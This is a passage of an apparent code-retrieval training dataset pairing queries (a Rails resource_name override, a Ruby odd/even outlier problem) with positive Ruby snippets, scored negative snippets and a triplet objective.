"def user_layout\n if user_signed_in?\n # If user is admin, set admin flag\n if current_user.admin?\n @admin = true\n end\n # set users fullname for display\n @user_name = current_user.name\n @user = current_user\n end\n \n end",
"def send_user_data(user)\n end",
"def show\n respond_to do |format|\n format.html # show.html.erb\n if @current_user and @current_user == @user\n format.json { render json: @user }\n else\n format.json { render :json => @user, :except => [:perishable_token, :persistence_token, :email, :single_access_token, :last_login_ip, :current_login_ip, :crypted_password, :password_salt] }\n end\n end\n end",
"def inspect\n \"<User username=#{@username} id=#{@id} discriminator=#{@discriminator}>\"\n end",
"def to_s\n '#<User name=\"Daphne\">'\n end",
"def refresh_user_data!\n if user = User.fields(:name, :nickname, :user_image, :user_image_original, :avatar_file_name).first(:id => self.user_id)\n self.name = user.name\n self.nickname = user.nickname\n self.user_image = user.user_image\n self.user_image_original = user.user_image_original\n self.has_shelby_avatar = user.has_shelby_avatar\n end\n end"
] |
[
"0.6784882",
"0.67600346",
"0.6655761",
"0.65378004",
"0.6431656",
"0.64227754",
"0.6375891",
"0.63585466",
"0.62935513",
"0.62002164",
"0.6170713",
"0.61660403",
"0.61626756",
"0.6153429",
"0.61511576",
"0.613903",
"0.61280984",
"0.6115786",
"0.6110044",
"0.61032265",
"0.609942",
"0.60801405",
"0.6079777",
"0.6057776",
"0.6055767",
"0.60430515",
"0.6027359",
"0.60158813",
"0.6000426",
"0.59824973",
"0.59683985",
"0.59657663",
"0.59656596",
"0.59564745",
"0.5938704",
"0.5934628",
"0.59296215",
"0.5924169",
"0.5920721",
"0.5920056",
"0.5912339",
"0.59117866",
"0.5909911",
"0.5902168",
"0.59011406",
"0.58984923",
"0.5894265",
"0.5887709",
"0.58791995",
"0.5877018",
"0.58763105",
"0.58685553",
"0.58546185",
"0.5853143",
"0.58506244",
"0.5850561",
"0.5842574",
"0.58386385",
"0.5830811",
"0.58304006",
"0.5824937",
"0.5824937",
"0.5824937",
"0.5824937",
"0.5824937",
"0.5824937",
"0.5824937",
"0.5824937",
"0.5824937",
"0.5824937",
"0.5824218",
"0.58156866",
"0.58128196",
"0.5811666",
"0.58108616",
"0.58046836",
"0.5804609",
"0.57921463",
"0.5786508",
"0.5779042",
"0.5764015",
"0.5760739",
"0.57605755",
"0.5756214",
"0.5755021",
"0.5754439",
"0.57528937",
"0.57520664",
"0.5744867",
"0.5744173",
"0.5742012",
"0.5735393",
"0.5735102",
"0.57344973",
"0.57331735",
"0.57286316",
"0.5724757",
"0.57183766",
"0.5718169",
"0.5711705",
"0.57084745"
] |
0.0
|
-1
|
overriden because resource_name = :api_v1_user due to namespaces in routes.rb
|
def resource_name
:user
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def resource_name\n\t\t:user\n\tend",
"def resource_name\n \t\t:user\n \tend",
"def resource_name\n :user\n end",
"def resource_name\n :user\n end",
"def resource_name\n :user\n end",
"def resource_name\n :user\n end",
"def resource_name\n :user\n end",
"def resource_name\n :user\n end",
"def resource_name\n :user\n end",
"def resource_name\n :user\n end",
"def resource_name\n :user\n end",
"def resource_name\n :user\n end",
"def resource_name\n :user\n end",
"def resource_name\n :user\n end",
"def resource_name\n :user\n end",
"def resource_name\n :user\n end",
"def resource_name\n :user\n end",
"def resource_name\n :user\n end",
"def resource_name\n :user\n end",
"def resource_name\n :user\n end",
"def resource_name\n :user\n end",
"def resource_name\n :user\n end",
"def resource_name\n :user\n end",
"def resource_name\n :user\n end",
"def resource_name\n :user\n end",
"def resource_name\n :user\n end",
"def resource_name\n :user\n end",
"def resource_name\n :user\n end",
"def resource_name\n :user\n end",
"def resource_name\n :user\n end",
"def resource_name\n :user\n end",
"def resource_name\n :user\n end",
"def resource_name\n :user\n end",
"def resource_name\n :user\n end",
"def resource_name\n :user\n end",
"def resource_name\n :user\n end",
"def resource_name\n :user\n end",
"def resource_name\n :user\n end",
"def resource_name\n\t :user\n\tend",
"def resource_name\n :user\n end",
"def resource_name\n :user\n end",
"def resource_name\n \"user\"\n end",
"def resource_name\n \"user\"\n end",
"def set_api_namespace\n @api_namespace = ApiNamespace.friendly.find(params[:id])\n end",
"def resource_routes\n Hash(\n self: api_v1_boot_path,\n auth: api_v1_auth_path,\n users: api_v1_users_path,\n charges: api_v1_charges_path(':user_id'),\n purchases: api_v1_purchases_path(':user_id'),\n credits: api_v1_credits_path(':user_id'),\n comps: api_v1_comps_path(':user_id')\n )\n end",
"def set_api_v1_user\n @api_v1_user = Api::V1::User.find(params[:id])\n end",
"def set_api_v1_resource\n @api_v1_resource = Api::V1::Resource.find(params[:id])\n end",
"def resource_class\n User\n end",
"def service_name_full\n fix_namespace api, \"#{main_service.service_name_full}::Rest\"\n end",
"def user_resource_name\n users.first.split('/').last\n end",
"def resource_name\n controller_name.demodulize.singularize\n end",
"def resource_name\n controller_name.demodulize.singularize\n end",
"def resource_name\n controller_name.demodulize.singularize\n end",
"def resource_name\n @resource_name\n end",
"def resource_base_name\n 'JSON'\n end",
"def resource_api_path(path=nil)\n @resource_api_path = path if path\n @resource_api_path || \"1.0/#{self.path}\"\n end",
"def resource_name\n :\"@#{controller_name.singularize}\"\n end",
"def resource_name\n name.to_s.chomp('Controller').demodulize.singularize\n end",
"def api_controller_name\n self.class.api_controller_name || model_name.pluralize\n end",
"def resource_name\n\t\t\t\t@resource_name ||= self.controller_name.singularize\n\t\t\tend",
"def resource_name\n name.ns_underscore.pluralize\n end",
"def resource_name\n :account\n end",
"def resource_param_name\n @resource_param_name ||= params[resource_name.to_sym].present? ? resource_name.to_sym : ('users_' + resource_name).to_sym\n end",
"def resource_name\n @resource_name ||= controller_name.singularize\n end",
"def resource_name\n @resource_name ||= self.controller_name.singularize\n end",
"def resource_name\n resource.name.singularize.underscore\n end",
"def display_resource(user)\n user.name\n end",
"def resource_name\n @resource_name ||= self.controller_name.singularize\n end",
"def resource_name\n @resource_name ||= self.controller_name.singularize\n end",
"def resource_name\n @resource_name ||= self.controller_name.singularize\n end",
"def base_api_namespace\n options[:base_api_namespace]\n end",
"def active_admin_resource_for(klass)\n\n\n\n if respond_to? :active_admin_namespace\n\n\n\n active_admin_namespace.resource_for klass\n\n\n\n end\n\n\n\n end",
"def resource_name\n @resource_name ||= controller_name.singularize\n end",
"def resource_name\n @resource_name ||= controller_name.singularize\n end",
"def resource_name\n @resource_name ||= self.controller_name.singularize\n end",
"def resource_name\n @resource_name ||= self.controller_name.singularize\n end",
"def api_namespace\n options[:api_namespace]\n end",
"def singular_resource\n super.decorate\n end",
"def api_table\n controller_name\n end",
"def display_resource(user)\n user.username\n end",
"def resource_name\n self.class.name.ns_underscore.pluralize\n end",
"def api_name\n to_s.split('::').last.gsub(/[^\\A]([A-Z])/, '_\\\\1').downcase\n end",
"def url\n resource.url + '/users'\n end",
"def resources_name\n controller_name\n end",
"def resource_name\n @resource_name ||= self.controller_name.singularize\n end",
"def resource_name\n @resource_name ||= self.controller_name.singularize\n end",
"def resource_name\n controller_name.humanize\n end",
"def display_resource(user)\n user.full_name\n end",
"def resource_class\n User\n end",
"def resource_name\n @@resource_name ||= self.class.to_s.split('::').last.gsub('Controller', '').singularize.underscore\n end",
"def singular_resource_route_with_controller_prefixes\n resource_with_controller_prefixes(model.name.as_singular)\n end",
"def resource_name\n devise_mapping.name\n end",
"def resource_name\n @resource_name ||= self.class.to_s.underscore.gsub(%r{.*/([^/]+)\\z}, '\\1')\n end",
"def resource_uri\n \"#{resource_name}/#{uid}\"\n end",
"def me\n resource :get, 'api/v1/users/me'\n end",
"def set_resource_class_name\n @resource_class_name = 'Profile'\n end",
"def api_auth\n\t\tauth ::UApi\n\tend",
"def name\n\t\t\"Stdapi: User interface\"\n\tend",
"def name\n\t\t\"Stdapi: User interface\"\n\tend",
"def name\n\t\t\"Stdapi: User interface\"\n\tend"
] |
[
"0.6849324",
"0.6823672",
"0.6803113",
"0.680025",
"0.680025",
"0.680025",
"0.680025",
"0.680025",
"0.680025",
"0.680025",
"0.680025",
"0.680025",
"0.680025",
"0.680025",
"0.680025",
"0.680025",
"0.680025",
"0.680025",
"0.680025",
"0.680025",
"0.680025",
"0.680025",
"0.680025",
"0.680025",
"0.680025",
"0.680025",
"0.680025",
"0.680025",
"0.680025",
"0.680025",
"0.680025",
"0.680025",
"0.680025",
"0.680025",
"0.680025",
"0.680025",
"0.680025",
"0.680025",
"0.6656616",
"0.66142446",
"0.66142446",
"0.6568007",
"0.6568007",
"0.62356424",
"0.62308574",
"0.6134331",
"0.61276853",
"0.6065771",
"0.59684217",
"0.5950009",
"0.58774084",
"0.58774084",
"0.58774084",
"0.58633703",
"0.58582807",
"0.5850151",
"0.5829836",
"0.5826674",
"0.5820415",
"0.5810013",
"0.58049476",
"0.5796927",
"0.5793101",
"0.5775861",
"0.5773774",
"0.5773402",
"0.5769804",
"0.5768872",
"0.5768872",
"0.5768872",
"0.57610255",
"0.57413435",
"0.5740504",
"0.5740504",
"0.5738723",
"0.5738723",
"0.5735871",
"0.5730331",
"0.57230914",
"0.57189506",
"0.5709478",
"0.5705126",
"0.568454",
"0.56805617",
"0.5676704",
"0.5676704",
"0.5629847",
"0.5622432",
"0.5616615",
"0.5612939",
"0.5608066",
"0.56058085",
"0.5605477",
"0.56048226",
"0.55990934",
"0.55916077",
"0.5591501",
"0.5585443",
"0.5585443",
"0.5585443"
] |
0.6810987
|
2
|
Override for editing custom user fields (full_name, amka)
|
def sign_up_params
params.require(:user).permit(:email, :password, :password_confirmation, :full_name, :amka, :father_amka, :mother_amka, :gender)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def set_user_name_field(user_name)\n end",
"def proper_name # method to get the full name of user\n first_name + \" \" + last_name\n end",
"def extend_fields\n if username.blank?\n # Synthesize a unique username from the email address or fullname\n n = 0\n startname = handle if (startname = email.sub(/@.*/, '')).blank?\n self.username = startname\n until (User.where(username: username).empty?) do\n n += 1\n self.username = startname+n.to_s\n end\n end\n # Provide a random password if none exists already\n self.password = email if password.blank? # (0...8).map { (65 + rand(26)).chr }.join\n self.fullname = \"#{first_name} #{last_name}\" if fullname.blank? && !(first_name.blank? || last_name.blank?)\n end",
"def edit_real_name(user, real_name)\n user.real_name = real_name\n user.save_data\n end",
"def full_name\n\t\tself.user_fname.capitalize + \" \" + self.user_lname.capitalize\n\tend",
"def user_full_name\n first_name + \" \" + last_name\n end",
"def full_name\n \tif !self.first_name.nil? && !self.last_name.nil?\n\t\t\"#{self.first_name.titleize} #{self.last_name.titleize}\"\n\telsif !self.oauth_user_name.nil?\n\t\tself.oauth_user_name\n\telse\n\tend\n end",
"def full_name= full_name\n @full_name = full_name\n end",
"def display_name\n self.name.blank? ? self.username : self.name\n end",
"def full_name\n if user_data\n \"#{user_data['first_name']&.downcase&.capitalize} #{user_data['last_name']&.downcase&.capitalize}\"\n end\n end",
"def full_name(user)\n user.first_name + ' ' + user.last_name\n end",
"def full_name\n \tif self.first_name != nil and self.last_name != nil\n \t\tself.first_name + \" \" + self.last_name\n \telse\n \t\t\"User does not have a full name\"\n \tend\n end",
"def user_full_name\n return object.billing_name if object.billing_name.present?\n \"#{user_firstname} #{user_lastname}\"\n end",
"def editable_attribute_names; super + additional_fields end",
"def editable_attribute_names; super + additional_fields end",
"def editable_attribute_names; super + additional_fields end",
"def full_name\n self.first_name+\" \"+self.last_name\n end",
"def display_name\n if !self.first_name.blank?\n self.first_name\n elsif !self.name.blank?\n self.name\n elsif !self.provider_username.blank?\n self.provider_username\n else\n self.email\n end\n end",
"def user_display_name=(value)\n @user_display_name = value\n end",
"def user_display_name=(value)\n @user_display_name = value\n end",
"def user_display_name=(value)\n @user_display_name = value\n end",
"def set_AuthorUsername(value)\n set_input(\"AuthorUsername\", value)\n end",
"def user_full_name\n @user[\"name\"]\n end",
"def full_name\n self.first_name + \" \" + self.last_name \n end",
"def short_user_name\n user.first_name\n end",
"def full_name\n self.last_name+\" \"+self.first_name\n end",
"def full_name\n if self.first_name && self.last_name\n full_name = \"#{self.first_name} #{self.last_name}\"\n self.full_name = full_name\n else\n self.full_name = self.first_name\n end\n end",
"def new_username=(value)\n @new_username = (value.nil? ? value : value.upcase)\n end",
"def display_name \n username\n end",
"def full_name\n \tnombre + \" \" + apellidos\n end",
"def full_name\n if self.profile.present?\n \"#{self.profile.first_name.capitalize} #{self.profile.last_name.capitalize}\"\n else\n \"#{username.capitalize}\"\n end\n end",
"def full_name\n if self.user\n user.full_name\n else\n self.name\n end\n end",
"def full_name\n self.first_name + \" \" + self.last_name\n end",
"def full_name\n self.first_name + \" \" + self.last_name\n end",
"def full_name\n self.first_name + \" \" + self.last_name\n end",
"def full_name \n self.first_name + ' ' + self.last_name\n end",
"def display_name\n username\n end",
"def set_defaults\n self.name_first = self.name_first.capitalize\n self.name_last = self.name_last.capitalize\n self.name_mi = self.name_mi.nil? ? \"\" : self.name_mi.capitalize\n self.name_full = self.name_last+\", \"+self.name_first + \" \" + self.name_mi\n self.login = self.login.downcase if !self.login.nil?\n self.email = self.email.downcase if !self.email.nil?\n \n if self.user_type == \"citizen\"\n self.phone_primary = self.phone_primary.gsub(/[^0-9]/,\"\")\n self.phone_secondary = self.phone_secondary.gsub(/[^0-9]/,\"\")\n if self.email.blank?\n self.email = self.login+\"@jobs.aidt.edu\"\n end\n end\n end",
"def full_name \n\t\t\"#{self.first_name} #{self.last_name}\"\n\tend",
"def display_name\n if cas_surname and cas_givenname\n cas_givenname + ' ' + cas_surname\n else\n username\n end\n end",
"def username\n username = self.name + \" \" + self.email\n\t end",
"def full_name\n if self.first_name && self.last_name \n self.first_name + \" \" + self.last_name \n else\n \"unknown\"\n end\n end",
"def full_name\n self.first_name + ' ' + self.last_name\n end",
"def full_name\n self.first_name + ' ' + self.last_name\n end",
"def full_name\n self.first_name + ' ' + self.last_name\n end",
"def full_name\n \t\t\"#{nombre} #{apellido}\"\n\tend",
"def full_name\n if !first_name && !last_name\n return \"New User\"\n else\n return first_name + \" \" + last_name\n end\n end",
"def full_name\n \"#{self.first_name} #{self.last_name}\"\n end",
"def full_name \n if current_user\n current_user.firstname + \" \" + current_user.lastname\n else\n \"Please Log in\"\n end\n end",
"def my_full_name\n \"#{self.profile.first_name} #{self.profile.last_name}\"\n end",
"def display_name\n self.name.blank? ? self.email : self.name\n end",
"def user_name= (name)\n options = self.class.rauth_options\n name = name.strip.downcase if options[:clean_username]\n self[:user_name] = name\n end",
"def full_name\n \n if (not self.first_name.nil? and not self.first_name.eql? \"\") or (not self.last_name.nil? and not self.last_name.eql? \"\")\n \"#{self.title} #{self.first_name} #{self.last_name}\".strip\n elsif self.username\n self.username \n else\n # wrapped email only prefix\n\n parsed_email = self.email.split('@')\n parsed_email[0]\n end\n end",
"def specify_first_name(fname)\n self.txtProfileFirstName_element.value = fname\n end",
"def full_name\n self.first_name << \" \" << self.last_name\n end",
"def customize_new_user(user)\n # user.level = User::Levels::MEMBER\n # user.can_approve_posts = false\n # user.can_upload_free = false\n # user.is_super_voter = false\n #\n # user.base_upload_limit = 10\n # user.comment_threshold = -1\n # user.blacklisted_tags = [\"spoilers\", \"guro\", \"scat\", \"furry -rating:s\"].join(\"\\n\")\n # user.default_image_size = \"large\"\n # user.per_page = 20\n # user.disable_tagged_filenames = false\n true\n end",
"def setFullName(event)\n @fullName = event.target.value\n @disabled = (event.target.value == '')\n end",
"def setFullName(event)\n @fullName = event.target.value\n @disabled = (event.target.value == '')\n end",
"def full_name\n self.first_name + \" \" + self.last_name\n end",
"def add_user_name(username)\n\t\tuser_name_input.set(username)\n\tend",
"def display_name\n self.email\nend",
"def full_name\n \t\"#{self.fname} #{self.lname}\"\n end",
"def display_name\n name || email\n end",
"def display_name\n name || email\n end",
"def first_name=(v)\n @first_name = alma_string v\n end",
"def user_name_field\n \"UITextFieldLabel text:'Username'\"\n end",
"def full_name\n self.fname + \" \" + self.lname\n end",
"def full_name \n \"#{self.first_name} #{self.last_name}\"\n end",
"def full_name\n \"#{first_name} #{last_name}\"\n end",
"def full_name \n name = \"#{self.first_name} #{self.last_name}\"\n end",
"def full_name\n full_name = \"#{self.first_name} #{self.last_name}\"\n end",
"def full_name\n \t\"#{self.first_name} #{self.last_name}\"\n end",
"def full_name\n return self.first_name + \" \" + self.last_name\n end",
"def full_name\n return self.first_name + \" \" + self.last_name\n end",
"def display_name\n self.email\n end",
"def display_name_for(user)\n user.first_name.capitalize + ' ' + user.last_name.capitalize + ' ( ID: ' + user.reference_number + ')'\n end",
"def full_name\n\t\tself.first_name + \" \" + self.last_name\n\tend",
"def editable_if_current_user(user, field)\n\t\tif current_user?(user) \n\t\t\tbest_in_place user, field.to_sym\n\t\telse\n\n\t\t\t\"#{user.send(field)}\"\n\t\tend\n\tend",
"def full_name\n \tfirst_name + \" \" + last_name\n end",
"def display_name\n \"#{username} <#{email}>\"\n end",
"def full_name\n\t\tfirst_name + \" \" + last_name\n\t\t# @first_name + \" \" + @last_name => This will work but it is not good practise. Because you lose flexibility and based upon the principles of inheritance, we will have to write another method to define it.\n\tend",
"def user_full_name\n if user\n user.first_name + ' ' + user.last_name\n else\n 'Anonymous'\n end\n end",
"def full_name\n \"#{self.first_name} #{self.last_name}\"\n end",
"def full_name\n \"#{self.first_name} #{self.last_name}\"\n end",
"def full_name\n \"#{self.first_name} #{self.last_name}\"\n end",
"def full_name\n \"#{self.first_name} #{self.last_name}\"\n end",
"def full_name\n \"#{self.first_name} #{self.last_name}\"\n end",
"def full_name\n \"#{self.first_name} #{self.last_name}\"\n end",
"def full_name\n \"#{self.first_name} #{self.last_name}\"\n end",
"def full_name\n \"#{self.first_name} #{self.last_name}\"\n end",
"def full_name\n \"#{self.first_name} #{self.last_name}\"\n end",
"def full_name\n \"#{self.first_name} #{self.last_name}\"\n end",
"def full_name\n \"#{self.first_name} #{self.last_name}\"\n end",
"def full_name\n \"#{self.first_name} #{self.last_name}\"\n end",
"def full_name\n \"#{self.first_name} #{self.last_name}\"\n end",
"def full_name\n \"#{self.first_name} #{self.last_name}\"\n end",
"def get_full_name\n return self.first_name + \" \" + self.last_name\n end",
"def full_name\n \"#{first_name} #{last_name}\"\n end",
"def full_name\n full_name = object.first_name + \" \" + object.last_name\n if object.profile.try(:search_engine_privacy).present?\n display_name = object.profile.try(:search_engine_privacy) == \"Show my full name\" ? full_name : object.first_name + \" \" + object.last_name.chr\n else\n display_name = full_name\n end\n return display_name \n end",
"def user_params\n params.require(:user).permit(:full_name)\n end",
"def full_name\n \"#{first_name} #{last_name}\"\n end"
] |
[
"0.72102237",
"0.68413293",
"0.6795665",
"0.67379457",
"0.67061824",
"0.6611072",
"0.64455163",
"0.6405744",
"0.6403422",
"0.6350648",
"0.63425857",
"0.62734544",
"0.62683934",
"0.6250859",
"0.6250859",
"0.6250859",
"0.62015545",
"0.61862046",
"0.61842996",
"0.61842996",
"0.61842996",
"0.61755514",
"0.6166977",
"0.6157048",
"0.6152878",
"0.6151739",
"0.6138262",
"0.6115683",
"0.6110559",
"0.6099752",
"0.60965824",
"0.6088171",
"0.60844415",
"0.60844415",
"0.60826343",
"0.60746604",
"0.606053",
"0.6058679",
"0.6055182",
"0.60530657",
"0.6050683",
"0.60495925",
"0.60462135",
"0.60462135",
"0.60462135",
"0.6035276",
"0.6031036",
"0.60297596",
"0.60252005",
"0.60229224",
"0.6019006",
"0.60181975",
"0.6015745",
"0.60142237",
"0.6013314",
"0.60128933",
"0.6004597",
"0.6004597",
"0.5996726",
"0.59914815",
"0.5991289",
"0.5991156",
"0.5987347",
"0.5987347",
"0.59869725",
"0.59864146",
"0.5978694",
"0.59748214",
"0.5962808",
"0.59587985",
"0.5947978",
"0.5938424",
"0.59378904",
"0.59378904",
"0.5936375",
"0.59349763",
"0.59313565",
"0.59276116",
"0.59216815",
"0.5911841",
"0.5908255",
"0.5898116",
"0.5895427",
"0.5894236",
"0.5894236",
"0.5894236",
"0.5894236",
"0.5894236",
"0.5894236",
"0.5894236",
"0.5894236",
"0.5894236",
"0.5894236",
"0.5894236",
"0.5894236",
"0.5894236",
"0.5893424",
"0.5889478",
"0.58890593",
"0.5886717",
"0.58842343"
] |
0.0
|
-1
|
very large) containing integers. The array is either entirely comprised of odd integers or entirely comprised of even integers except for a single integer N. Write a method that takes the array as an argument and returns this "outlier" N. Examples [2, 4, 0, 100, 4, 11, 2602, 36] Should return: 11 (the only odd number) [160, 3, 1719, 19, 11, 13, 21] Should return: 160 (the only even number)
|
def find_outlier(array)
odd_array=[]
even_array=[]
array.each do |i|
odd_array << i if i % 2 == 0
even_array << i if i % 2 != 0
end
odd_array.size > even_array.size ? even_array[0] : odd_array[0]
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def find_outlier(integers)\n answer = Array.new\n answer << integers[0] if integers[0].even?\n answer << integers[1] if integers[1].even?\n answer << integers[2] if integers[2].even?\n answer.length < 2 ? integers.select { |num| num.even? }.first : integers.select { |num| num.odd? }.first\nend",
"def find_outlier(integers)\n arrays = integers.partition { |i| i.even? }\n arrays.find(&:one?).first\nend",
"def find_outlier(integers)\n odd_array = integers.select{|x| x.odd?}\n even_array = integers.select{|x| x.even?}\n odd_array.length < even_array.length ? odd_array.join.to_i : even_array.join.to_i\n\n # integers.partition(&:odd?).find(&:one?).first # best solution\nend",
"def find_outlier(integers)\n integers.partition(&:odd?).find(&:one?).first\nend",
"def find_outlier(integers)\n integers.partition(&:odd?).find(&:one?).first\nend",
"def find_outlier(integers)\r\n integers.partition(&:odd?).find(&:one?).first end",
"def find_outlier(integers)\r\n integers.partition(&:odd?).find(&:one?).first\r\n # p integers.partition(&:odd?): separate integers into 2 arrays. 1 array with odd numbers only, and the other one with even numbers only\r\n # p integers.partition(&:odd?).find(&:one?): find the array with only 1 element\r\n end",
"def find_outlier(integers)\n evens, odds = [], []\n integers.each do |x|\n x % 2 == 0 ? evens << x : odds << x\n end\n evens.length > odds.length ? odds[0] : evens[0]\nend",
"def find_outlier(integers)\n even = integers.select { |x| x.even? }\n odd = integers.select { |y| y.odd? }\n if even.count > 1\n return odd.first\n else\n return even.first\n end\nend",
"def find_outlier(integers)\n odd, even = [], []\n\n integers.each do |integer|\n if integer % 2 == 0\n even.push(integer) \n else\n odd.push(integer)\n end\n end\n \n if even.size == 1\n even[0]\n else\n odd[0]\n end\nend",
"def find_outlier(integers)\n integers.partition(&:even?).find { |a| a.count == 1 }.first \nend",
"def find_outlier(integers)\n find_odd = integers[0..2].count{ |e| e.even? } > 1\n find_odd ? integers.detect{ |e| e.odd? } : integers.detect{ |e| e.even? }\nend",
"def find_outlier(integers)\n is_all_even = integers[0..2].select{|x| x%2 ==0}.size > 1\n return is_all_even ? integers.select{|x| x%2 != 0}[0] : integers.select{|x| x%2 == 0}[0]\nend",
"def find_outlier(integers)\n\n odds = []\n evens = []\n\n integers.each do |n|\n\n odds << n if n.odd?\n evens << n if n.even?\n\n return odds.last if !odds.last.nil? && evens.size > 1\n return evens.last if !evens.last.nil? && odds.size > 1\n\n end\n\nend",
"def find_outlier(integers)\n even_count = integers.count { |n| n.even? }\n odd_count = integers.count { |n| n.odd? }\n\n if (even_count >= 2)\n integers.find { |n| n.odd? }\n else\n integers.find { |n| n.even? }\n end\n\nend",
"def find_outlier(array)\n even_parity? = true",
"def find_outlier(integers) \r\n if integers.count {|x| x.even?} > 1 \r\n p integers.select {|num| num.odd?}.join.to_i\r\n else \r\n p integers.select {|num| num.even?}.join.to_i \r\n end\r\n end",
"def non_oddities(arr)\n arr_length = arr.size\n index = 0\n even_elements = []\n\n loop do\n even_elements << arr[index] if index.odd?\n\n index += 1\n break if index > arr_length\n end\n even_elements.compact\nend",
"def oddities(array)\n new_array = []\n index_range = (1..array.size-1)\n for n in index_range do \n new_array << array[n] if n.odd?\n end\n new_array\nend",
"def filter_odd array\n # return an array of only odd numbers least to greatest\n array.select { |value| value.is_a? Numeric }.select { |value| value.odd?}.sort\nend",
"def oddities(array)\n new_array = []\n array.each_with_index { |num, idx| new_array << num if idx.even? }\n new_array\nend",
"def remove_odd_numbers_from_array(a)\n a.reject {|n| n.odd?}\nend",
"def oddities(array)\n array.select.with_index { |e, idx| e if idx.even? }\nend",
"def oddities(array)\n new_array = []\n array.each_with_index { |val, idx| new_array << val if idx.even? }\n new_array\nend",
"def oddities(array)\r\n array.select.with_index { |_, i| i.even? }\r\n end",
"def odd_numb array\n new_arr= array.select! do |value|\n value.class == Integer\n end\n new_arr.select { |value| value % 2 != 0 }.sort\nend",
"def odd_integers(array)\nend",
"def oddities(array)\n odd_array = []\n array.each_with_index do |e, idx|\n odd_array << e if idx.even?\n end\n odd_array\nend",
"def oddities(array)\n odd_array = []\n array.each_with_index { |e, idx| odd_array << e if idx.even? }\n odd_array\nend",
"def oddities(array)\n array.partition {|element| array.index(element).even?}\nend",
"def oddities(arr)\n\tarr.select.with_index { |num, index| num if index.even? }\nend",
"def oddities(array)\n array.select {|element| array.index(element).even?}\nend",
"def oddities(array)\n array.select { |element| array.index(element).even? }\nend",
"def find_outlier(integers)\r\n\r\nend",
"def oddities(array)\n array.select {|item| array.index(item).even?}\nend",
"def oddities(arry)\n arry.select { |n| n if arry.index(n).even? }\nend",
"def oddities(array)\n odd_elements = []\n array.each do |element|\n odd_elements << element if array.index(element).even?\n end\n odd_elements\nend",
"def oddities(array)\n odd_element_array = []\n index = 0\n loop do\n break if index >= array.size\n odd_element_array << array[index] if index.even?\n index += 1\n end\n odd_element_array\nend",
"def oddities(array)\n result = []\n count = 0\n array.each do |element|\n result << element if count.even?\n count += 1\n end\n result\nend",
"def oddities(array)\nresult = []\narray.each_with_index do |value, idx|\n result << value if (idx + 1).odd?\nend\nresult\nend",
"def oddities_1(array)\n array.select { |element| array.index(element) % 2 == 0 }\nend",
"def oddities(array)\n ret_array = []\n array.each_with_index do |value, index|\n if index.even?\n ret_array << value\n end\n end\n ret_array\nend",
"def oddities(array)\n new_array = []\n array.each_with_index do |num, index|\n new_array << num if index.odd?\n end\n new_array\nend",
"def odd_indexed_integers(array)\n\nend",
"def oddities(arr)\n new_arr = []\n arr.each_with_index { |v, idx| new_arr << v if idx.even? }\n new_arr\nend",
"def remove_odd array\n no_odds_array = []\n array.each do |number|\n if number % 2 == 0\n no_odds_array.push(number)\n end\n end\n no_odds_array\nend",
"def oddities(array)\n result = []\n array.select do |element|\n result << element if array.index(element).even?\n end\n result\nend",
"def reject_odds(array)\n\t\n\tnot_odds = array.reject { |num| num.odd?}\nend",
"def oddities(arr)\n arr.select{ |a| arr.index(a).even? }\nend",
"def odds_small_to_big (array) \n #Use .select, .is_a? Numeric, and .is_odd? to pull odd numbers\n #Use .sort to sort the numbers, return implicitly\n p array.select {|item| item.is_a? Numeric and item.odd?}.sort\nend",
"def oddities(array)\n array.select.with_index { |e, i| (i + 1).odd? }\nend",
"def oddities(array)\n result = []\n index = 0\n\n loop do\n result << array[index]\n index += 2\n break if index >= array.size\n end\n\n result\nend",
"def oddities(arr)\n arr2 = []\n arr.each_with_index { |elem, ndx| arr2 << elem if ndx.even? }\n arr2\nend",
"def oddities(array)\n count = 0\n new_array = []\n loop do\n break if array.size == 0\n new_array << array[count]\n count += 2\n break if count >= array.size\n end\n new_array\nend",
"def odds_sorted array\n odd_nums = array.select do |value|\n value.is_a?(Integer) && value.odd?\n end\n odd_nums.sort\nend",
"def even_numbers(num_array)\n\tnum_array.select! { |num| num.even? }\nend",
"def odds_only array\n array.select do |value|\n value.odd?\n end\nend",
"def no_odds(arr)\n\teven_arr = []\n\tarr.each { |x| even_arr << x if x.even?}\n\treturn even_arr\nend",
"def odd_numbers(array)\n end",
"def only_odd array\n new_array = array.select { |value| value.is_a?(Integer) && value % 2 != 0}\n p new_array.sort\nend",
"def oddNums array\n # Go through the array and select only the integers\n numArray = array.select { |value| value.is_a?(Integer) }\n # Go through the array of integers and select the ones that are odd\n oddNumArray = numArray.select { |value| value.odd? }\n # Sort the array of odd numbers in place using the bang operator\n oddNumArray.sort!\n # Implicity return the array of odd numbers, sorted from least to greatest\nend",
"def oddities(arr)\r\n arr2 = arr.select do |x|\r\n arr.index(x).even?\r\n end\r\n arr2\r\nend",
"def oddities(array)\n new_array = []\n array.each_with_index do |element, index|\n new_array.push(element) if (index + 1).odd?\n end\n new_array\nend",
"def oddities(array)\n new_array = []\n\n index = 0\n while index < array.size\n new_array << array[index] if index.even?\n index += 1\n end\n new_array\nend",
"def oddball(arr)\n odds = arr.select {|num| num.odd?}\n evens = arr.select {|num| num.even?}\n odds.size > evens.size ? evens[0] : odds[0]\nend",
"def odd_index_values_from_array(array)\n odd_elements = []\n array.each_with_index do |element, idx|\n odd_elements << element if idx.even?\n end\n odd_elements\nend",
"def odd_only arr\n arr.select{|value| value % 2 != 0}\nend",
"def oddities(array)\n odd_values = []\n index = 0\n \n while index < array.size\n odd_values << array[index]\n index += 2\n end\n odd_values\nend",
"def oddities(arr)\n new_arr = []\n arr.each_with_index do |val, index|\n new_arr << val if index.even?\n end\n new_arr\nend",
"def oddities(arr)\n counter = 0\n return_array = []\n loop do\n return_array << arr[counter]\n counter += 2\n break if counter >= arr.size\n end\n return_array.compact\nend",
"def oddball(arr)\n even_arr = arr.select { |n| n % 2 == 0 }\n odd_arr = arr.reject { |n| n % 2 == 0 }\n\n return even_arr[0] if even_arr.length == 1\n return odd_arr[0]\nend",
"def odds_only(array)\n # seperate odd numbers .odd?\n odd_arr = array.select do |val|\n # filter out integers\n if val.is_a? Integer \n # odd numbers only\n val.odd?\n end\n end\n # sort the array\n odd_arr.sort\nend",
